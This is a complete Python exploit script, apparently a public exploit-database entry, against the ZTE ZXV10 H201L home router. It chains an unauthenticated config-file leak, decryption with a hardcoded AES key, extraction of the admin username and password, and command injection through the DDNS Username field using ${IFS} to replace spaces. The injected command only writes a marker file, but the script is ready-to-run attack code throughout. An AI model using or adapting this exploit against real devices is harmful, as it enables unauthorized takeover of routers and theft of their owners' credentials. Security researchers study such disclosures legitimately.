ZTE ZXV10 H201L – RCE via authentication bypass
# Exploit Title: ZTE ZXV10 H201L - RCE via authentication bypass # Exploit Author: l34n (tasos meletlidis) # https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/ import http.client, requests, os, argparse, struct, zlib from io import BytesIO from os import stat from Crypto.Cipher import AES def login(session, host, port, username, password): login_token = session.get(f"http://{host}:{port}/").text.split("getObj(\"Frm_Logintoken\").value = \"")[1].split("\"")[0] headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "Username": username, "Password": password, "frashnum": "", "Frm_Logintoken": login_token } session.post(f"http://{host}:{port}/", headers=headers, data=data) def logout(session, host, port): headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "logout": "1", } session.post(f"http://{host}:{port}/", headers=headers, data=data) def leak_config(host, port): conn = http.client.HTTPConnection(host, port) boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ" body = ( f"--{boundary}\r\n" 'Content-Disposition: form-data; name="config"\r\n' "\r\n" "\r\n" f"--{boundary}--\r\n" ) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)), "Connection": "close", } conn.request("POST", "/getpage.gch?pid=101", body, headers) response = conn.getresponse() response_data = response.read() with open("config.bin", "wb") as file: file.write(response_data) conn.close() def _read_exactly(fd, size, desc="data"): chunk = fd.read(size) if len(chunk) != size: return None return chunk def _read_struct(fd, fmt, desc="struct"): size = struct.calcsize(fmt) data = _read_exactly(fd, size, desc) if data is None: return None return struct.unpack(fmt, data) def read_aes_data(fd_in, key): encrypted_data = b"" while True: aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header") if aes_hdr is None: return None _, chunk_len, marker = aes_hdr chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data") if chunk is None: return None encrypted_data += chunk if marker == 0: break cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB) fd_out = BytesIO() fd_out.write(cipher.decrypt(encrypted_data)) fd_out.seek(0) return fd_out def read_compressed_data(fd_in, enc_header): hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6])) if enc_header[6] != hdr_crc: return None total_crc = 0 fd_out = BytesIO() while True: comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header") if comp_hdr is None: return None uncompr_len, compr_len, marker = comp_hdr chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data") if chunk is None: return None total_crc = zlib.crc32(chunk, total_crc) uncompressed = zlib.decompress(chunk) if len(uncompressed) != uncompr_len: return None fd_out.write(uncompressed) if marker == 0: break if enc_header[5] != total_crc: return None fd_out.seek(0) return fd_out def read_config(fd_in, fd_out, key): ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header") if ver_header_1 is None: return ver_header_2_offset = 0x14 + ver_header_1[4] fd_in.seek(ver_header_2_offset) ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header") if ver_header_2 is None: return ver_header_3_offset = ver_header_2[10] fd_in.seek(ver_header_3_offset) ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header") if ver_header_3 is None: return signed_cfg_size = ver_header_3[3] file_size = stat(fd_in.name).st_size fd_in.seek(0x80) sign_header = _read_struct(fd_in, ">3I", desc="signature header") if sign_header is None: return if sign_header[0] != 0x04030201: return sign_length = sign_header[2] signature = _read_exactly(fd_in, sign_length, desc="signature") if signature is None: return enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header") if enc_header_raw is None: return encryption_header = struct.unpack(">15I", enc_header_raw) if encryption_header[0] != 0x01020304: return enc_type = encryption_header[1] if enc_type in (1, 2): if not key: return fd_in = read_aes_data(fd_in, key) if fd_in is None: return if enc_type == 2: enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header") if enc_header_raw is None: return encryption_header = struct.unpack(">15I", enc_header_raw) if encryption_header[0] != 0x01020304: return enc_type = 0 if enc_type == 0: fd_in = read_compressed_data(fd_in, encryption_header) if fd_in is None: return fd_out.write(fd_in.read()) def decrypt_config(config_key): encrypted = open("config.bin", "rb") decrypted = open("decrypted.xml", "wb") read_config(encrypted, decrypted, config_key) with open("decrypted.xml", "r") as file: contents = file.read() username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0] password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0] encrypted.close() os.system("rm config.bin") decrypted.close() os.system("rm decrypted.xml") return username, password def command_injection(cmd): injection = f"user;{cmd};echo " injection = injection.replace(" ", "${IFS}") return injection def set_ddns(session, host, port, payload): headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "IF_ACTION": "apply", "IF_ERRORSTR": "SUCC", "IF_ERRORPARAM": "SUCC", "IF_ERRORTYPE": -1, "IF_INDEX": None, "IFservice_INDEX": 0, "IF_NAME": None, "Name": "dyndns", "Server": "http://www.dyndns.com/", "ServerPort": None, "Request": None, "UpdateInterval": None, "RetryInterval": None, "MaxRetries": None, "Name0": "dyndns", "Server0": "http://www.dyndns.com/", "ServerPort0": 80, "Request0": "", "UpdateInterval0": 86400, "RetryInterval0": 60, "MaxRetries0": 3, "Name1": "No-IP", "Server1": "http://www.noip.com/", "ServerPort1": 80, "Request1": "", "UpdateInterval1": 86400, "RetryInterval1": 60, "MaxRetries1": 3, "Name2": "easyDNS", "Server2": "https://web.easydns.com/", "ServerPort2": 80, "Request2": "", "UpdateInterval2": 86400, "RetryInterval2": 180, "MaxRetries2": 5, "Enable": 1, "Hidden": None, "Status": None, "LastError": None, "Interface": "IGD.WD1.WCD3.WCIP1", "DomainName": "hostname", "Service": "dyndns", "Username": payload, "Password": "password", "Offline": None, "HostNumber": "" } session.post(f"http://{host}:{port}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch", headers=headers, data=data) def pwn(config_key, host, port): session = requests.Session() leak_config(host, port) username, password = decrypt_config(config_key) login(session, host, port, username, password) shellcode = "echo hacked>/var/tmp/pwned" payload = command_injection(shellcode) set_ddns(session, host, port, payload) logout(session, host, port) print("[+] PoC complete") def main(): parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXV10 H201L") parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"Renjx%2$CjM", help="Leaked config encryption key from cspd") parser.add_argument("--host", required=True, help="Target IP address of the router") parser.add_argument("--port", required=True, type=int, help="Target port of the router") args = parser.parse_args() pwn(args.config_key, args.host, args.port) if __name__ == "__main__": main() |